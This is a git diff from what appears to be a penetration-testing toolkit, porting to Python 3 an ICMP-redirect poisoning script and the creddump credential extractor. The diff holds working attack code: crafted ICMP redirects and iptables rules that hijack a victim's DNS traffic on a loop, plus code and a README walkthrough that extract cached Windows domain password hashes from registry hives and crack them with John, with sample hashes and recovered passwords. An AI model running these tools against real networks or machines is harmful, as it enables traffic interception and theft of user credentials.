@ -187,17 +187,17 @@ def ReceiveArpFrame(DstAddr):
data = s.recv(1024)
DstMac = data[22:28]
DestMac = DstMac.encode('hex')
PrintMac = ":".join([DestMac[x:x+2] for x in xrange(0, len(DestMac), 2)])
PrintMac = ":".join([DestMac[x:x+2] for x in range(0, len(DestMac), 2)])
return PrintMac,DstMac
except:
print "[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr)
print("[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr))
exit(1)
def IcmpRedirectSock(DestinationIP):
PrintMac,DestMac = ReceiveArpFrame(VictimIP)
print '[ARP]Target Mac address is :',PrintMac
print('[ARP]Target Mac address is :',PrintMac)
PrintMac,RouterMac = ReceiveArpFrame(OriginalGwAddr)
print '[ARP]Router Mac address is :',PrintMac
print('[ARP]Router Mac address is :',PrintMac)
s = socket(AF_PACKET, SOCK_RAW)
Protocol = 0x0800
s.bind((Interface, Protocol))
@ -210,7 +210,7 @@ def IcmpRedirectSock(DestinationIP):
IPPack.calculate()
final = str(Eth)+str(IPPack)
s.send(final)
print '\n[ICMP]%s should have been poisoned with a new route for target: %s.\n'%(VictimIP,DestinationIP)
print('\n[ICMP]%s should have been poisoned with a new route for target: %s.\n'%(VictimIP,DestinationIP))
def FindWhatToDo(ToThisHost2):
if ToThisHost2 != None:
@ -227,11 +227,11 @@ def RunThisInLoop(host, host2, ip):
ouripadd = pipes.quote(ip)
call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns1+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True)
call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True)
print "[+]Automatic mode enabled\nAn iptable rules has been added for both DNS servers."
print("[+]Automatic mode enabled\nAn iptable rules has been added for both DNS servers.")
while True:
IcmpRedirectSock(DestinationIP=dns1)
IcmpRedirectSock(DestinationIP=dns2)
print "[+]Repoisoning the target in 8 minutes..."
print("[+]Repoisoning the target in 8 minutes...")
sleep(480)
FindWhatToDo(ToThisHost2)

120
tools/MultiRelay/creddump/.gitignore vendored Normal file
View file

@ -0,0 +1,120 @@
# Byte-compiled / optimized / DLL files
__pycache__/
*.py[cod]
*$py.class
# C extensions
*.so
# Distribution / packaging
.Python
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
wheels/
share/python-wheels/
*.egg-info/
.installed.cfg
*.egg
MANIFEST
# PyInstaller
# Usually these files are written by a python script from a template
# before PyInstaller builds the exe, so as to inject date/other infos into it.
*.manifest
*.spec
# Installer logs
pip-log.txt
pip-delete-this-directory.txt
# PyCharm
.idea
# Unit test / coverage reports
htmlcov/
.tox/
.nox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*.cover
.hypothesis/
.pytest_cache/
# Translations
*.mo
*.pot
# Django stuff:
*.log
local_settings.py
db.sqlite3
# Flask stuff:
instance/
.webassets-cache
# Scrapy stuff:
.scrapy
# Sphinx documentation
docs/_build/
# PyBuilder
target/
# Jupyter Notebook
.ipynb_checkpoints
# IPython
profile_default/
ipython_config.py
# pyenv
.python-version
# celery beat schedule file
celerybeat-schedule
# SageMath parsed files
*.sage.py
# Environments
.env
.venv
env/
venv/
ENV/
env.bak/
venv.bak/
# Spyder project settings
.spyderproject
.spyproject
# Rope project settings
.ropeproject
# mkdocs documentation
/site
# mypy
.mypy_cache/
.dmypy.json
dmypy.json
# Pyre type checker
.pyre/
.pylintrc

View file

@ -6,4 +6,4 @@ Version: 0.3 Date: 8/1/2012
Version: 0.2 Date: 2/24/2011
* Fixed issue with wrong format specifier being used (L instead of I), which
caused creddump to fail on 64-bit systems.
caused creddump to fail on 64-bit systems.

View file

@ -0,0 +1,182 @@
#Information
This repo is for my modifications to the original 'creddump' program available
at:
https://code.google.com/p/creddump/
I did not write the original program.
I have combined many patches and fixes I have seen from different forums and
user suggestions, as well as modified the usage to make it a little more clear.
I followed patches and fixes from the following links:
* https://code.google.com/p/creddump/issues/detail?id=4
* https://code.google.com/p/volatility/issues/detail?id=92
Enjoy!
Ronnie Flathers (@ropnop)
###Usage
Mount a Windows 7/Vista partition:
```
# mkdir /mnt/win
# ntfs-3g /dev/sda1 /mnt/win
```
Run cachedump.py on the SYSTEM and SECURITY hives to extract cached domain creds:
```
# ./cachedump.py
usage: ./cachedump.py <system hive> <security hive> <Vista/7>
Example (Windows Vista/7):
./cachedump.py /path/to/System32/config/SYSTEM /path/to/System32/config/SECURITY true
Example (Windows XP):
./cachedump.py /path/to/System32/SYSTEM /path/to/System32/config/SECURITY false
# ./cachedump.py /mnt/win/Windows/System32/config/SYSTEM /mnt/win/Windows/System32/config/SECURITY true |tee hashes
nharpsis:6b29dfa157face3f3d8db489aec5cc12:acme:acme.local
god:25bd785b8ff1b7fa3a9b9e069a5e7de7:acme:acme.local
```
If you want to crack the hashes and have a good wordlist, John can be used. The hashes are in the 'mscash2' format:
```
# john --format=mscash2 --wordlist=/usr/share/wordlists/rockyou.txt hashes
Loaded 2 password hashes with 2 different salts (M$ Cache Hash 2 (DCC2) PBKDF2-HMAC-SHA-1 [128/128 SSE2 intrinsics 8x])
g0d (god)
Welcome1! (nharpsis)
```
We now have the passwords for two domain users. Note: these passwords are really simple and I knew they were in the wordlist I used. Normally if you want to actually bruteforce the passwords, I wouldn't recommend John. Pull the hashes and use a GPU powered cracking box with oclHashcat.
####Below is the original README file
OVERVIEW
creddump is a python tool to extract various credentials and secrets from
Windows registry hives. It currently extracts:
* LM and NT hashes (SYSKEY protected)
* Cached domain passwords
* LSA secrets
It essentially performs all the functions that bkhive/samdump2,
cachedump, and lsadump2 do, but in a platform-independent way.
It is also the first tool that does all of these things in an offline
way (actually, Cain & Abel does, but is not open source and is only
available on Windows).
REQUIREMENTS
alldump has only been tested on python 2.5. It should work on 2.4 as
well, but will likely need modification before it will work on 2.3 or
below.
python-crypto is required for its MD5/DES/RC4 support. To obtain it,
see: http://www.amk.ca/python/code/crypto
For lsadump: system and SECURITY hives
For cachedump: system and SECURITY hives
For pwdump: system and SAM hives
USAGE
Dump cached domain hashes:
usage: ./cachedump.py <system hive> <security hive>
Dump LSA secrets:
usage: ./lsadump.py <system hive> <security hive>
Dump local password hashes:
usage: ./pwdump.py <system hive> <SAM hive>
FEATURES
* Platform independent operation. The only inputs are the hive files
from the system--we don't rely on any Windows functionality at all.
* Open-source and (hopefully!) readble implementations of Windows
obfuscation algorithms used to protect LSA secrets, cached domain
passwords, and
* A reasonably forgiving registry file parser in pure Python. Look
through framework/types.py and framework/win32/rawreg.py to see how it
works.
* The first complete open-source implementation of advapi32's
SystemFunction005. The version in the Wine source code does not
appear to allow for keys longer than 7 bytes, while the Windows
version (and this version) does. See decrypt_secret() in
framework/win32/lsasecrets.py
AUTHOR
creddump is written by Brendan Dolan-Gavitt (bdolangavitt@wesleyan.edu).
For more information on Syskey, LSA secrets, cached domain credentials,
and lots of information on volatile memory forensics and reverse
engineering, check out:
http://moyix.blogspot.com/
CREDITS
* AAron Walters. Much of the data type parsing code is taken from
Volatility, an excellent memory analysis framework written in Python.
He's also a really nice guy, and has helped me out a lot in my
research.
https://www.volatilesystems.com/default/volatility
* Massimiliano Montoro (mao), for reversing the mechanism Windows uses
to derive the LSA key so that it can be computed directly from the
hive files, as decribed in this post:
http://oxid.netsons.org/phpBB2/viewtopic.php?t=149
http://www.oxid.it/
* Jeremy Allison, for the details of the obfuscation applied to password
hashes in the SAM, as implemented in the original pwdump.
http://us4.samba.org/samba/ftp/pwdump/
* Nicola Cuomo, for his excellent description of the syskey mechanism
and how it is used to encrypt the SAM in Windows 2000 and above.
http://www.studenti.unina.it/~ncuomo/syskey/
* Eyas[at]xfocus.org, for x_dialupass2.cpp, which demonstrates how to
read LSA secrets directly from the registry, given the LSA key.
http://www.xfocus.net/articles/200411/749.html
[Note: the above is in Chinese, but quite comprehensible if you use
Google Translate and can read C ;)]
* Nicholas Ruff, for his perl implementation of des_set_odd_parity,
which he apparently took from SSLEAY:
http://seclists.org/pen-test/2005/Jan/0180.html
* Arnaud Pilon, for the details of how to retrieve cached domain, as
implemented in cachedump.
http://www.securiteam.com/tools/5JP0I2KFPA.html
* S<>bastien Ke, for his cute hexdump recipe:
http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/142812
LICENSE
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.

23
tools/MultiRelay/creddump/cachedump.py Normal file → Executable file
View file

@ -15,19 +15,34 @@
# You should have received a copy of the GNU General Public License
# along with creddump. If not, see <http://www.gnu.org/licenses/>.
# pylint: disable=invalid-name,missing-docstring
"""
@author: Brendan Dolan-Gavitt
@license: GNU General Public License 2.0 or later
@contact: bdolangavitt@wesleyan.edu
"""
import sys
from framework.win32.domcachedump import dump_file_hashes
if len(sys.argv) < 3:
print "usage: %s bootkey <security hive>" % sys.argv[0]
def showUsage():
print("usage: %s <system hive> <security hive> <Vista/7>" % sys.argv[0])
print("\nExample (Windows Vista/7):")
print("%s /path/to/System32/config/SYSTEM /path/to/System32/config/SECURITY true" % sys.argv[0])
print("\nExample (Windows XP):")
print("%s /path/to/System32/SYSTEM /path/to/System32/config/SECURITY false" % sys.argv[0])
if len(sys.argv) < 4:
showUsage()
sys.exit(1)
dump_file_hashes(sys.argv[1].decode("hex"), sys.argv[2])
if sys.argv[3].lower() not in ["true", "false"]:
showUsage()
sys.exit(1)
vista = sys.argv[3].lower() == "true"
dump_file_hashes(sys.argv[1], sys.argv[2], sys.argv[3])

View file

@ -13,11 +13,11 @@
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
#
"""
@ -25,37 +25,40 @@
@license: GNU General Public License 2.0 or later
@contact: awalters@volatilesystems.com
@organization: Volatile Systems
Alias for all address spaces
"""
""" Alias for all address spaces """
# pylint: disable=missing-docstring
import os
import struct
class FileAddressSpace:
def __init__(self, fname, mode='rb', fast=False):
self.fname = fname
self.name = fname
self.fhandle = open(fname, mode)
self.name = fname
self.fhandle = open(fname, mode)
self.fsize = os.path.getsize(fname)
if fast == True:
if fast:
self.fast_fhandle = open(fname, mode)
def fread(self,len):
def fread(self, len):
return self.fast_fhandle.read(len)
def read(self, addr, len):
self.fhandle.seek(addr)
return self.fhandle.read(len)
self.fhandle.seek(addr)
return self.fhandle.read(len)
def read_long(self, addr):
string = self.read(addr, 4)
(longval, ) = struct.unpack('L', string)
(longval,) = struct.unpack('L', string)
return longval
def get_address_range(self):
return [0,self.fsize-1]
return [0, self.fsize - 1]
def get_available_addresses(self):
return [self.get_address_range()]
@ -63,13 +66,15 @@ class FileAddressSpace:
def is_valid_address(self, addr):
return addr < self.fsize - 1
def close():
def close(self):
self.fhandle.close()
# Code below written by Brendan Dolan-Gavitt
BLOCK_SIZE = 0x1000
class HiveFileAddressSpace:
def __init__(self, fname):
self.fname = fname
@ -80,16 +85,16 @@ class HiveFileAddressSpace:
def read(self, vaddr, length, zero=False):
first_block = BLOCK_SIZE - vaddr % BLOCK_SIZE
full_blocks = ((length + (vaddr % BLOCK_SIZE)) / BLOCK_SIZE) - 1
full_blocks = ((length + (vaddr % BLOCK_SIZE)) // BLOCK_SIZE) - 1
left_over = (length + vaddr) % BLOCK_SIZE
paddr = self.vtop(vaddr)
if paddr == None and zero:
if paddr is None and zero:
if length < first_block:
return "\0" * length
else:
stuff_read = "\0" * first_block
elif paddr == None:
elif paddr is None:
return None
else:
if length < first_block:
@ -104,11 +109,11 @@ class HiveFileAddressSpace:
stuff_read = "\0" * first_block
new_vaddr = vaddr + first_block
for i in range(0,full_blocks):
for __ in range(0, full_blocks):
paddr = self.vtop(new_vaddr)
if paddr == None and zero:
if paddr is None and zero:
stuff_read = stuff_read + "\0" * BLOCK_SIZE
elif paddr == None:
elif paddr is None:
return None
else:
new_stuff = self.base.read(paddr, BLOCK_SIZE)
@ -122,9 +127,9 @@ class HiveFileAddressSpace:
if left_over > 0:
paddr = self.vtop(new_vaddr)
if paddr == None and zero:
if paddr is None and zero:
stuff_read = stuff_read + "\0" * left_over
elif paddr == None:
elif paddr is None:
return None
else:
stuff_read = stuff_read + self.base.read(paddr, left_over)
@ -132,10 +137,11 @@ class HiveFileAddressSpace:
def read_long_phys(self, addr):
string = self.base.read(addr, 4)
(longval, ) = struct.unpack('L', string)
(longval,) = struct.unpack('L', string)
return longval
def is_valid_address(self, vaddr):
paddr = self.vtop(vaddr)
if not paddr: return False
if not paddr:
return False
return self.base.is_valid_address(paddr)

View file

@ -19,14 +19,18 @@
@contact: bdolangavitt@wesleyan.edu
"""
from framework.object import *
from framework.types import regtypes as types
# pylint: disable=missing-docstring,invalid-name,no-else-return,arguments-differ,unused-argument
from operator import itemgetter
from struct import unpack
from framework.object import get_obj_offset, builtin_types, read_value, read_unicode_string, read_string, read_obj
from framework.types import regtypes as types
def get_ptr_type(structure, member):
"""Return the type a pointer points to.
Arguments:
structure : the name of the structure from vtypes
member : a list of members
@ -43,24 +47,25 @@ def get_ptr_type(structure, member):
else:
return types[structure][1][member[0]][1][1]
class Obj(object):
"""Base class for all objects.
May return a subclass for certain data types to allow
for special handling.
"""
def __new__(typ, name, address, space):
def __new__(cls, name, address, space):
if name in globals():
# This is a bit of "magic"
# Could be replaced with a dict mapping type names to types
return globals()[name](name,address,space)
return globals()[name](name, address, space)
elif name in builtin_types:
return Primitive(name, address, space)
else:
obj = object.__new__(typ)
obj = object.__new__(cls)
return obj
def __init__(self, name, address, space):
self.name = name
self.address = address
@ -70,7 +75,7 @@ class Obj(object):
# to show up in values() or members(), even if they do not
# appear in the vtype definition
self.extra_members = []
def __getattribute__(self, attr):
try:
return object.__getattribute__(self, attr)
@ -84,7 +89,7 @@ class Obj(object):
off, tp = get_obj_offset(types, [self.name, attr])
except:
raise AttributeError("'%s' has no attribute '%s'" % (self.name, attr))
if tp == 'array':
a_len = types[self.name][1][attr][1][1]
l = []
@ -92,37 +97,37 @@ class Obj(object):
a_off, a_tp = get_obj_offset(types, [self.name, attr, i])
if a_tp == 'pointer':
ptp = get_ptr_type(self.name, [attr, i])
l.append(Pointer(a_tp, self.address+a_off, self.space, ptp))
l.append(Pointer(a_tp, self.address + a_off, self.space, ptp))
else:
l.append(Obj(a_tp, self.address+a_off, self.space))
l.append(Obj(a_tp, self.address + a_off, self.space))
return l
elif tp == 'pointer':
# Can't just return a Obj here, since pointers need to also
# know what type they point to.
ptp = get_ptr_type(self.name, [attr])
return Pointer(tp, self.address+off, self.space, ptp)
return Pointer(tp, self.address + off, self.space, ptp)
else:
return Obj(tp, self.address+off, self.space)
def __div__(self, other):
if isinstance(other,tuple) or isinstance(other,list):
return Obj(tp, self.address + off, self.space)
def __truediv__(self, other):
if isinstance(other, (tuple, list)):
return Pointer(other[0], self.address, self.space, other[1])
elif isinstance(other,str):
elif isinstance(other, str):
return Obj(other, self.address, self.space)
else:
raise ValueError("Must provide a type name as string for casting")
def members(self):
"""Return a list of this object's members, sorted by offset."""
# Could also just return the list
membs = [ (k, v[0]) for k,v in types[self.name][1].items()]
membs = [(k, v[0]) for k, v in list(types[self.name][1].items())]
membs.sort(key=itemgetter(1))
return map(itemgetter(0),membs) + self.extra_members
return list(map(itemgetter(0), membs)) + self.extra_members
def values(self):
"""Return a dictionary of this object's members and their values"""
valdict = {}
for k in self.members():
valdict[k] = getattr(self, k)
@ -130,7 +135,7 @@ class Obj(object):
def bytes(self, length=-1):
"""Get bytes starting at the address of this object.
Arguments:
length : the number of bytes to read. Default: size of
this object.
@ -147,7 +152,7 @@ class Obj(object):
return builtin_types[self.name][0]
else:
return types[self.name][0]
def __repr__(self):
return "<%s @%08x>" % (self.name, self.address)
@ -168,67 +173,72 @@ class Obj(object):
def get_offset(self, member):
return get_obj_offset(types, [self.name] + member)
class Primitive(Obj):
"""Class to represent a primitive data type.
Attributes:
value : the python primitive value of this type
"""
def __new__(typ, *args, **kwargs):
obj = object.__new__(typ)
def __new__(cls, *args, **kwargs):
obj = object.__new__(cls)
return obj
def __init__(self, name, address, space):
super(Primitive,self).__init__(name, address, space)
super(Primitive, self).__init__(name, address, space)
length, fmt = builtin_types[name]
data = space.read(address,length)
if not data: self.value = None
else: self.value = unpack(fmt,data)[0]
data = space.read(address, length)
if not data:
self.value = None
else:
self.value = unpack(fmt, data)[0]
def __repr__(self):
return repr(self.value)
def members(self):
return []
class Pointer(Obj):
"""Class to represent pointers.
value : the object pointed to
If an attribute is not found in this instance,
the attribute will be looked up in the referenced
object."""
def __new__(typ, *args, **kwargs):
obj = object.__new__(typ)
def __new__(cls, *args, **kwargs):
obj = object.__new__(cls)
return obj
def __init__(self, name, address, space, ptr_type):
super(Pointer,self).__init__(name, address, space)
super(Pointer, self).__init__(name, address, space)
ptr_address = read_value(space, name, address)
if ptr_type[0] == 'pointer':
self.value = Pointer(ptr_type[0], ptr_address, self.space, ptr_type[1])
else:
self.value = Obj(ptr_type[0], ptr_address, self.space)
def __getattribute__(self, attr):
# It's still nice to be able to access things through pointers
# without having to explicitly dereference them, so if we don't
# find an attribute via our superclass, just dereference the pointer
# and return the attribute in the pointed-to type.
try:
return super(Pointer,self).__getattribute__(attr)
return super(Pointer, self).__getattribute__(attr)
except AttributeError:
return getattr(self.value, attr)
def __repr__(self):
return "<pointer to [%s @%08x]>" % (self.value.name, self.value.address)
def members(self):
return self.value.members()
class _UNICODE_STRING(Obj):
"""Class representing a _UNICODE_STRING
@ -238,8 +248,8 @@ class _UNICODE_STRING(Obj):
* The __str__ method returns the value of the Buffer.
"""
def __new__(typ, *args, **kwargs):
obj = object.__new__(typ)
def __new__(cls, *args, **kwargs):
obj = object.__new__(cls)
return obj
def __str__(self):
@ -248,54 +258,63 @@ class _UNICODE_STRING(Obj):
# Custom Attributes
def getBuffer(self):
return read_unicode_string(self.space, types, [], self.address)
Buffer = property(fget=getBuffer)
class _CM_KEY_NODE(Obj):
def __new__(typ, *args, **kwargs):
obj = object.__new__(typ)
def __new__(cls, *args, **kwargs):
obj = object.__new__(cls)
return obj
def getName(self):
return read_string(self.space, types, ['_CM_KEY_NODE', 'Name'],
self.address, self.NameLength.value)
self.address, self.NameLength.value)
Name = property(fget=getName)
class _CM_KEY_VALUE(Obj):
def __new__(typ, *args, **kwargs):
obj = object.__new__(typ)
def __new__(cls, *args, **kwargs):
obj = object.__new__(cls)
return obj
def getName(self):
return read_string(self.space, types, ['_CM_KEY_VALUE', 'Name'],
self.address, self.NameLength.value)
self.address, self.NameLength.value)
Name = property(fget=getName)
class _CHILD_LIST(Obj):
def __new__(typ, *args, **kwargs):
obj = object.__new__(typ)
def __new__(cls, *args, **kwargs):
obj = object.__new__(cls)
return obj
def getList(self):
lst = []
list_address = read_obj(self.space, types,
['_CHILD_LIST', 'List'], self.address)
['_CHILD_LIST', 'List'], self.address)
for i in range(self.Count.value):
lst.append(Pointer("pointer", list_address+(i*4), self.space,
["_CM_KEY_VALUE"]))
lst.append(Pointer("pointer", list_address + (i * 4), self.space,
["_CM_KEY_VALUE"]))
return lst
List = property(fget=getList)
class _CM_KEY_INDEX(Obj):
def __new__(typ, *args, **kwargs):
obj = object.__new__(typ)
def __new__(cls, *args, **kwargs):
obj = object.__new__(cls)
return obj
def getList(self):
lst = []
for i in range(self.Count.value):
# we are ignoring the hash value here
off,tp = get_obj_offset(types, ['_CM_KEY_INDEX', 'List', i*2])
lst.append(Pointer("pointer", self.address+off, self.space,
["_CM_KEY_NODE"]))
off, __ = get_obj_offset(types, ['_CM_KEY_INDEX', 'List', i * 2])
lst.append(Pointer("pointer", self.address + off, self.space,
["_CM_KEY_NODE"]))
return lst
List = property(fget=getList)

View file

@ -9,13 +9,15 @@
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
#
# pylint: disable=invalid-name,missing-docstring
"""
@author: AAron Walters and Nick Petroni
@license: GNU General Public License 2.0 or later
@ -25,59 +27,61 @@
import struct
builtin_types = { \
'int' : (4, 'i'), \
'long': (4, 'i'), \
'unsigned long' : (4, 'I'), \
'unsigned int' : (4, 'I'), \
'address' : (4, 'I'), \
'char' : (1, 'c'), \
'unsigned char' : (1, 'B'), \
'unsigned short' : (2, 'H'), \
'short' : (2, 'h'), \
'long long' : (8, 'q'), \
'unsigned long long' : (8, 'Q'), \
'pointer' : (4, 'I'),\
}
builtin_types = {
'int': (4, 'i'),
'long': (4, 'i'),
'unsigned long': (4, 'I'),
'unsigned int': (4, 'I'),
'address': (4, 'I'),
'char': (1, 'c'),
'unsigned char': (1, 'B'),
'unsigned short': (2, 'H'),
'short': (2, 'h'),
'long long': (8, 'q'),
'unsigned long long': (8, 'Q'),
'pointer': (4, 'I'),
}
def obj_size(types, objname):
if not types.has_key(objname):
if objname not in types:
raise Exception('Invalid type %s not in types' % (objname))
return types[objname][0]
def builtin_size(builtin):
if not builtin_types.has_key(builtin):
if builtin not in builtin_types:
raise Exception('Invalid built-in type %s' % (builtin))
return builtin_types[builtin][0]
def read_value(addr_space, value_type, vaddr):
"""
Read the low-level value for a built-in type.
Read the low-level value for a built-in type.
"""
if not builtin_types.has_key(value_type):
if value_type not in builtin_types:
raise Exception('Invalid built-in type %s' % (value_type))
type_unpack_char = builtin_types[value_type][1]
type_size = builtin_types[value_type][0]
type_size = builtin_types[value_type][0]
buf = addr_space.read(vaddr, type_size)
if buf is None:
return None
(val, ) = struct.unpack(type_unpack_char, buf)
(val,) = struct.unpack(type_unpack_char, buf)
return val
def read_unicode_string(addr_space, types, member_list, vaddr):
offset = 0
if len(member_list) > 1:
(offset, current_type) = get_obj_offset(types, member_list)
(offset, __) = get_obj_offset(types, member_list)
buf = read_obj(addr_space, types, ['_UNICODE_STRING', 'Buffer'], vaddr + offset)
buf = read_obj(addr_space, types, ['_UNICODE_STRING', 'Buffer'], vaddr + offset)
length = read_obj(addr_space, types, ['_UNICODE_STRING', 'Length'], vaddr + offset)
if length == 0x0:
@ -90,23 +94,24 @@ def read_unicode_string(addr_space, types, member_list, vaddr):
if readBuf is None:
return None
try:
readBuf = readBuf.decode('UTF-16').encode('ascii')
except:
except Exception: # pylint: disable=broad-except
return None
return readBuf
def read_string(addr_space, types, member_list, vaddr, max_length=256):
offset = 0
if len(member_list) > 1:
(offset, current_type) = get_obj_offset(types, member_list)
(offset, __) = get_obj_offset(types, member_list)
val = addr_space.read(vaddr + offset, max_length)
return val
return val
def read_null_string(addr_space, types, member_list, vaddr, max_length=256):
string = read_string(addr_space, types, member_list, vaddr, max_length)
@ -114,11 +119,8 @@ def read_null_string(addr_space, types, member_list, vaddr, max_length=256):
if string is None:
return None
if (string.find('\0') == -1):
return string
(string, none) = string.split('\0', 1)
return string
return string.split('\0', 1)[0]
def get_obj_offset(types, member_list):
"""
@ -130,7 +132,7 @@ def get_obj_offset(types, member_list):
offset = 0
while (len(member_list) > 0):
while member_list:
if current_type == 'array':
current_type = member_dict[current_member][1][2][0]
if current_type in builtin_types:
@ -140,14 +142,14 @@ def get_obj_offset(types, member_list):
index = member_list.pop()
offset += index * current_type_size
continue
elif not types.has_key(current_type):
elif current_type not in types:
raise Exception('Invalid type ' + current_type)
member_dict = types[current_type][1]
current_member = member_list.pop()
if not member_dict.has_key(current_member):
if current_member not in member_dict:
raise Exception('Invalid member %s in type %s' % (current_member, current_type))
offset += member_dict[current_member][0]
@ -164,8 +166,6 @@ def read_obj(addr_space, types, member_list, vaddr):
"""
if len(member_list) < 2:
raise Exception('Invalid type/member ' + str(member_list))
(offset, current_type) = get_obj_offset(types, member_list)
return read_value(addr_space, current_type, vaddr + offset)

View file

@ -13,6 +13,8 @@
# You should have received a copy of the GNU General Public License
# along with creddump. If not, see <http://www.gnu.org/licenses/>.
# pylint: disable=invalid-name
"""
@author: Brendan Dolan-Gavitt
@license: GNU General Public License 2.0 or later
@ -20,44 +22,44 @@
"""
regtypes = {
'_CM_KEY_VALUE' : [ 0x18, {
'Signature' : [ 0x0, ['unsigned short']],
'NameLength' : [ 0x2, ['unsigned short']],
'DataLength' : [ 0x4, ['unsigned long']],
'Data' : [ 0x8, ['unsigned long']],
'Type' : [ 0xc, ['unsigned long']],
'Flags' : [ 0x10, ['unsigned short']],
'Spare' : [ 0x12, ['unsigned short']],
'Name' : [ 0x14, ['array', 1, ['unsigned short']]],
} ],
'_CM_KEY_NODE' : [ 0x50, {
'Signature' : [ 0x0, ['unsigned short']],
'Flags' : [ 0x2, ['unsigned short']],
'LastWriteTime' : [ 0x4, ['_LARGE_INTEGER']],
'Spare' : [ 0xc, ['unsigned long']],
'Parent' : [ 0x10, ['unsigned long']],
'SubKeyCounts' : [ 0x14, ['array', 2, ['unsigned long']]],
'SubKeyLists' : [ 0x1c, ['array', 2, ['unsigned long']]],
'ValueList' : [ 0x24, ['_CHILD_LIST']],
'ChildHiveReference' : [ 0x1c, ['_CM_KEY_REFERENCE']],
'Security' : [ 0x2c, ['unsigned long']],
'Class' : [ 0x30, ['unsigned long']],
'MaxNameLen' : [ 0x34, ['unsigned long']],
'MaxClassLen' : [ 0x38, ['unsigned long']],
'MaxValueNameLen' : [ 0x3c, ['unsigned long']],
'MaxValueDataLen' : [ 0x40, ['unsigned long']],
'WorkVar' : [ 0x44, ['unsigned long']],
'NameLength' : [ 0x48, ['unsigned short']],
'ClassLength' : [ 0x4a, ['unsigned short']],
'Name' : [ 0x4c, ['array', 1, ['unsigned short']]],
} ],
'_CM_KEY_INDEX' : [ 0x8, {
'Signature' : [ 0x0, ['unsigned short']],
'Count' : [ 0x2, ['unsigned short']],
'List' : [ 0x4, ['array', 1, ['unsigned long']]],
} ],
'_CHILD_LIST' : [ 0x8, {
'Count' : [ 0x0, ['unsigned long']],
'List' : [ 0x4, ['unsigned long']],
} ],
'_CM_KEY_VALUE': [0x18, {
'Signature': [0x0, ['unsigned short']],
'NameLength': [0x2, ['unsigned short']],
'DataLength': [0x4, ['unsigned long']],
'Data': [0x8, ['unsigned long']],
'Type': [0xc, ['unsigned long']],
'Flags': [0x10, ['unsigned short']],
'Spare': [0x12, ['unsigned short']],
'Name': [0x14, ['array', 1, ['unsigned short']]],
}],
'_CM_KEY_NODE': [0x50, {
'Signature': [0x0, ['unsigned short']],
'Flags': [0x2, ['unsigned short']],
'LastWriteTime': [0x4, ['_LARGE_INTEGER']],
'Spare': [0xc, ['unsigned long']],
'Parent': [0x10, ['unsigned long']],
'SubKeyCounts': [0x14, ['array', 2, ['unsigned long']]],
'SubKeyLists': [0x1c, ['array', 2, ['unsigned long']]],
'ValueList': [0x24, ['_CHILD_LIST']],
'ChildHiveReference': [0x1c, ['_CM_KEY_REFERENCE']],
'Security': [0x2c, ['unsigned long']],
'Class': [0x30, ['unsigned long']],
'MaxNameLen': [0x34, ['unsigned long']],
'MaxClassLen': [0x38, ['unsigned long']],
'MaxValueNameLen': [0x3c, ['unsigned long']],
'MaxValueDataLen': [0x40, ['unsigned long']],
'WorkVar': [0x44, ['unsigned long']],
'NameLength': [0x48, ['unsigned short']],
'ClassLength': [0x4a, ['unsigned short']],
'Name': [0x4c, ['array', 1, ['unsigned short']]],
}],
'_CM_KEY_INDEX': [0x8, {
'Signature': [0x0, ['unsigned short']],
'Count': [0x2, ['unsigned short']],
'List': [0x4, ['array', 1, ['unsigned long']]],
}],
'_CHILD_LIST': [0x8, {
'Count': [0x0, ['unsigned long']],
'List': [0x4, ['unsigned long']],
}],
}

View file

@ -21,14 +21,14 @@
from framework.win32.rawreg import *
from framework.addrspace import HiveFileAddressSpace
#from framework.win32.hashdump import get_bootkey
from framework.win32.hashdump import get_bootkey
from framework.win32.lsasecrets import get_secret_by_name,get_lsa_key
from Crypto.Hash import HMAC
from Crypto.Cipher import ARC4
from Crypto.Cipher import ARC4, AES
from struct import unpack
def get_nlkm(secaddr, lsakey):
return get_secret_by_name(secaddr, 'NL$KM', lsakey)
def get_nlkm(secaddr, lsakey, vista):
return get_secret_by_name(secaddr, 'NL$KM', lsakey, vista)
def decrypt_hash(edata, nlkm, ch):
hmac_md5 = HMAC.new(nlkm,ch)
@ -38,6 +38,21 @@ def decrypt_hash(edata, nlkm, ch):
data = rc4.encrypt(edata)
return data
def decrypt_hash_vista(edata, nlkm, ch):
"""
Based on code from http://lab.mediaservice.net/code/cachedump.rb
"""
aes = AES.new(nlkm[16:32], AES.MODE_CBC, ch)
out = bytearray()
for i in range(0, len(edata), 16):
buf = edata[i : i+16]
if len(buf) < 16:
buf += (16 - len(buf)) * b"\00"
out += aes.decrypt(buf)
return out
def parse_cache_entry(cache_data):
